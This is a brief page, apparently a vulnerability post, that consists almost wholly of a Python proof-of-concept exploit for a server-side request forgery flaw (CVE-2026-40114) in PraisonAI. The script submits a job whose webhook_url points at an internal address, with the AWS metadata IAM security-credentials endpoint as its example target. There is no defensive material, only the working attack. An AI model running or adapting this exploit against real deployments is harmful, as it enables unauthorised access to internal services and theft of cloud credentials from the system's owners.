CVE-2026-40114 PraisonAI SSRF漏洞

import requests def exploit_ssrf(target_url, internal_url): """ PoC for CVE-2026-40114 Attempts to trigger an SSRF by submitting a job to PraisonAI with a malicious webhook_url pointing to an internal service. """ endpoint = f"{target_url}/api/v1/runs" # Payload containing the internal URL to be accessed payload = { "webhook_url": internal_url, "task": "example_task" } try: print(f"[*] Sending SSRF request to {endpoint} pointing to {internal_url}") response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request accepted successfully. Check the internal service logs for connection attempts.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://vulnerable-praisonai-instance.com" # Targeting AWS Metadata Service as an example internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, internal_target)